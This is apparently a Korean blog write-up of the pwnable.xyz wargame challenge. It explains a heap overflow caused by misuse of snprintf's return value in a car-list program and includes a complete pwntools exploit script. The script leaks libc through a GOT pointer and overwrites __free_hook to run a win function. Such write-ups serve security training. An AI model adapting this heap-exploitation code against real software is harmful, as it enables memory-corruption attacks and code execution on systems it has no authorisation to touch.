doubly linked list로 구현되어 있다. name은 0x10 크기의 chunk를 가리킨다.
if ( idx >= 0 && (unsigned int)idx <= 9 )
{ e = (car_entry *)malloc(0x20uLL); e->name = (char *)malloc(0x10uLL); e->name_size = snprintf(e->name, 0x10uLL, "%s", makes[idx]); e->next = NULL; e->prev = NULL; if ( Head ) { for ( last = Head; last->next; last = last->next ) ; last->next = e; e->prev = last; } else { Head = e; } } |
buy 함수이다. Head가 NULL이면 Head에 새로 만든 노드를 넣고, NULL이 아니면 리스트의 가장 끝 부분에 노드를 추가한다.
if ( Head )
{ printf("Which car would you like to sell: "); name = readline(); for ( e = Head; e; e = e->next ) { if ( !strcmp(e->name, name) ) { // unlink if ( e->prev ) e->prev->next = e->next; if ( e->next ) e->next->prev = e->prev; // head removal if ( e == Head ) { Head = e->next; if ( Head ) Head->prev = NULL; } memset(e->name, 0, e->name_size); memset(e, 0, 0x20uLL); free(e->name); free(e); } } free(name); } |
sell 함수는 unlink를 진행하고, 만약 e가 Head에 해당하면 Head를 변경하는 역할을 한다.
for ( e = Head; e; e = e->next )
{ if ( !strcmp(e->name, name) ) { printf("Name your new model: "); name_new = readline(); e->name_size = snprintf(e->name, e->name_size, "%s", name_new); free(name_new); break; } } |
가장 중요한, 버그가 있는 remodel 함수다. snprintf의 반환값은 출력한 글자가 아니라 출력할 수 있었던 글자를 나타내기 때문에, 입력 문자열을 크게 만들면 size 제한으로 문자열이 잘려도 name_size에는 큰 값이 들어갈 수 있다.
name_size 크기를 키우고 heap overflow로 다음에 위치한 car_entry chunk의 name 포인터를 조작해 원하는 곳에 값을 쓸 수 있다. Full RELRO가 걸려있어서 GOT overwrite는 안 되고, libc 주소를 leak 한 뒤 malloc의 hook 계열 함수 포인터에 win 주소를 써서 win을 실행할 수 있다.
libc leak은 name 포인터를 함수 GOT로 옮긴 뒤 출력시키고 함수 offset을 빼서 구할 수 있다.
remodel은 name 문자열 비교로 대상을 찾는다. __free_hook의 초기값은 0으로, 길이 0인 문자열과 strcmp를 하면 0이 나온다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 |
from pwn import *
import argparse def log_info(string) : sys.stderr.write((u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m ' + string + '\n').encode()) def itob(i) : return str(i).encode() def Buy(idx:int) : p.writelineafter(b'> ', b'1') p.writelineafter(b'> ', itob(idx)) def Sell(name:bytes) : p.writelineafter(b'> ', b'2') p.writelineafter(b': ', name) def Remodel(name:bytes, new:bytes) : p.writelineafter(b'> ', b'3') p.writelineafter(b': ', name) p.writelineafter(b': ', new) def List() : cars = [] p.writelineafter(b'> ', b'4') p.readline() while True : r = p.readline(keepends=False) if not b': ' in r : break cars.append(r.split(b': ')[1]) return cars def exploit() : malloc_got = 0x601FD8 Buy(0) # BMW Buy(1) # Lexus Buy(2) # Toyota Buy(4) # Audi payload = b'A'*0x20 payload += p64(malloc_got)[:7] Remodel(b'BMW', b'A'*0x80) Remodel(b'AA', payload) leak = u64(List()[1].ljust(8, b'\x00')) libc_base = leak - 0x770B0 libc_free_hook = libc_base + 0x3987C8 log_info('libc base: '+hex(libc_base)) log_info('__free_hook = '+hex(libc_free_hook)) payload = b'A'*0x20 payload += p64(libc_free_hook) payload += p64(0x80) Remodel(b'Toyota', b'A'*0x80) Remodel(b'AAAAA', payload) Remodel(b'\x00', p64(0x400B4E)) p.interactive() if __name__ == '__main__' : parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30037, fam='ipv4') else : p = process('./challenge') exploit() |
Last update: 5/6/2020
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / door (0) | 2020.05.06 |
---|---|
pwnable.xyz / child (0) | 2020.05.06 |
pwnable.xyz / words (0) | 2020.05.05 |
pwnable.xyz / notebook (0) | 2020.05.03 |
pwnable.xyz / nin (0) | 2020.05.02 |